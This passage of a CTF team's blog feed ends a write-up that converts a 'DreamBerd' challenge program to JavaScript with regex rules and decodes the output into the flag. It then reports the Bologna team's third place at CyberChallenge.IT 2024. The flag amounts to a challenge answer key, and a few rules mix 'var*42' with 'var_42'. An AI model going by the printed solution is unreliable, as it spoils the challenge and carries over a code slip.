  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;const var&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;let&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;var var&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;let&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;The variable &lt;code&gt;42&lt;/code&gt; (which is an invalid identifier in JavaScript) is replaced with &lt;code&gt;var_42&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;let (\d+)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;let var_\1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;Every usage of &lt;code&gt;42&lt;/code&gt; is replaced with &lt;code&gt;var_42&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;42 +=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;var*42 +=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;42 -=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;var_42 -=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;42 *=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;var*42 *=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;42 ^ &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;var*42 ^ &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;42 = &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;var_42 = &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;42 * &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;var*42 * &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;42 / &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;var_42 / &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;42 % &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;var_42 % &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;42 + &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;var_42 + &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;42 - &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;var_42 - &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;!42&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;!var_42&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;Remove &lt;code&gt;Infinity&lt;/code&gt; lifetimes.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;Infinity&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;Replace &lt;code&gt;functi&lt;/code&gt; with &lt;code&gt;function&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;functi (.+?) \(\) =&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;function \1()&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;Replace &lt;code&gt;print&lt;/code&gt; with &lt;code&gt;console.log&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;print&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;console.log&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;ul&gt;
&lt;li&gt;Fix array starting convention, as in DreamBerd arrays start at -1 (oh, the horror).
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;  &lt;span class="c1"&gt;# arrays start at -1 ...
&lt;/span&gt;  &lt;span class="n"&gt;program&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;(\w+)\[(.+)\]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;\1[\2 + 1]&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Finally, we print the program.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;program&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we use the script to convert the code to JavaScript.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;chall.db3 | python3 invertlines.py &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; chall_ok.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And we then run the code with Node.js.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;node chall_ok.js
&lt;span class="o"&gt;[&lt;/span&gt;
    84, 82, 88, 123, 116, 72, 105, 53, 95,
    73, 53, 95, 116, 104, 51, 95, 80, 51,
    114, 102, 51, 99, 116, 95, 108, 52, 110,
    71, 85, 52, 103, 51, 33, 33, 33, 33,
    33, 33, 125
&lt;span class="o"&gt;]&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The result we get is an array of integers.&lt;br&gt;
We can convert it to ASCII to get the flag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/bin/env python3
&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
   &lt;span class="mi"&gt;84&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;82&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;105&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="mi"&gt;73&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;104&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="mi"&gt;114&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;102&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;99&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;116&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;110&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="mi"&gt;71&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;85&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;103&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;51&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;125&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt; &lt;span class="n"&gt;end&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;python3 decode.py
TRX&lt;span class="o"&gt;{&lt;/span&gt;tHi5_I5_th3_P3rf3ct_l4nGU4g3!!!!!!&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>ctf</category>
      <category>writeup</category>
      <category>dreamberd</category>
    </item>
    <item>
      <title>Ulisse @ CyberChallenge.IT 2024</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Mon, 15 Jul 2024 20:17:37 +0000</pubDate>
      <link>https://dev.to/ulisse/ulisse-cyberchallengeit-2024-opo</link>
      <guid>https://dev.to/ulisse/ulisse-cyberchallengeit-2024-opo</guid>
      <description>&lt;p&gt;Once again this year, the University of Bologna took part in &lt;a href="https://cyberchallenge.it/" rel="noopener noreferrer"&gt;CyberChallenge.IT&lt;/a&gt;, the national cybersecurity competition organised by the Cybersecurity National Lab.&lt;/p&gt;

&lt;p&gt;After a training course that lasted several months, a team of students from the Ulisse lab took part in the final competition, which was held from 3 to 6 July 2024 at the International Training Centre of the International Labour Organisation (ITC-ILO) in Turin.&lt;/p&gt;

&lt;p&gt;The team, made up of Alan Davide Bovo, Giacomo Boschi, Davide Gianessi, Renato Eugenio Maria Marziano, Elia Soldati and Simone Mazzacano (from left to right in the photo), faced 42 other teams from all over Italy in an 8-hour CTF Attack/Defense competition, from 10:00 to 18:00 on 4 July.&lt;/p&gt;

&lt;p&gt;Thanks to their dedication and expertise, the team secured an impressive &lt;strong&gt;3rd place&lt;/strong&gt; with a score of 108,631 points, ranking just behind PoliTo and Sapienza.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ewlbevrkhkdwn005s7m.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ewlbevrkhkdwn005s7m.jpeg" alt="Team presentation" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Congratulations to all participants, especially our students, for their remarkable achievement! See you next year for the next edition of CyberChallenge.IT!&lt;/p&gt;

&lt;h2&gt;
  
  
  Acknowledgements
&lt;/h2&gt;

&lt;p&gt;We would like to express our gratitude to Prof. Marco Prandini for his support and coordination, as well as to Eyad Issa, Andrea Melis, Francesco Apollonio, Santo Cariotti, Samuele Musiani, Lorenzo Rinieri, and all the tutors of the Ulisse lab for their contributions to the CyberChallenge 2024 training course. We also extend our thanks to the Cybersecurity National Lab and all the national sponsors who made our participation in the competition possible.&lt;/p&gt;

&lt;p&gt;A special thanks to our local sponsors: &lt;a href="https://cyberloop.it/" rel="noopener noreferrer"&gt;Cyberloop&lt;/a&gt;, &lt;a href="https://eetech.it/" rel="noopener noreferrer"&gt;EETECH SRLS&lt;/a&gt;, &lt;a href="https://www.imolainformatica.it/" rel="noopener noreferrer"&gt;Imola Informatica&lt;/a&gt; and &lt;a href="https://labs.it/" rel="noopener noreferrer"&gt;Laboratori Guglielmo Marconi S.p.A&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzzdol4xyejhnwzl3tcqa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzzdol4xyejhnwzl3tcqa.png" alt="Top 3 teams" width="664" height="619"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Workshop
&lt;/h2&gt;

&lt;p&gt;In addition to the competition, the team also delivered two presentations at the CyberChallenge.IT 2024 Workshop. During these presentations, they showcased the tools developed by the game team and used during the competition, highlighting how these tools provided a significant advantage.&lt;/p&gt;

&lt;p&gt;In the spirit of sharing and collaboration that characterizes the Ulisse lab, we are providing the slides from the presentations and the GitHub repositories of the projects developed:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Title&lt;/th&gt;
&lt;th&gt;Author&lt;/th&gt;
&lt;th&gt;Slides&lt;/th&gt;
&lt;th&gt;GitHub Repository&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;A/D traffic analysis with PCAP-over-IP&lt;/td&gt;
&lt;td&gt;Eyad Issa&lt;/td&gt;
&lt;td&gt;&lt;a href="https://ctf.ulis.se/news/ccit-24/CCIT2024%20-%20Workshop%20-%20AD%20traffic%20analysis%20with%20PCAP-over-IP.pdf" rel="noopener noreferrer"&gt;PDF&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/UlisseLab/pcap-broker" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fingerprinting TCP/IP&lt;/td&gt;
&lt;td&gt;Renato Eugenio Maria Marziano&lt;/td&gt;
&lt;td&gt;&lt;a href="https://ctf.ulis.se/news/ccit-24/CCIT2024%20-%20Workshop%20-%20Fingerprinting%20TCP-IP.pdf" rel="noopener noreferrer"&gt;PDF&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://github.com/drank40/euriclea" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  More information
&lt;/h2&gt;

&lt;p&gt;CyberChallenge.IT is a national cybersecurity training and competition program organized by the Cybersecurity National Lab, targeting students aged 16 to 25. The program features a series of training events culminating in a final competition held annually in July.&lt;/p&gt;

&lt;p&gt;If you want to learn more about CyberChallenge.IT, visit the &lt;a href="https://cyberchallenge.it/" rel="noopener noreferrer"&gt;official website&lt;/a&gt; and the &lt;a href="https://cyberchallenge.it/students" rel="noopener noreferrer"&gt;registration page for the next edition&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you would like to join our team, participate in our events and activities, contact us &lt;a href="https://discord.gg/uwFbYA4H" rel="noopener noreferrer"&gt;Discord&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>news</category>
      <category>cyberchallenge</category>
    </item>
    <item>
      <title>ez-class</title>
      <dc:creator>VaiTon</dc:creator>
      <pubDate>Mon, 20 Mar 2023 17:46:12 +0000</pubDate>
      <link>https://dev.to/ulisse/ez-class-27m8</link>
      <guid>https://dev.to/ulisse/ez-class-27m8</guid>
      <description>&lt;blockquote&gt;
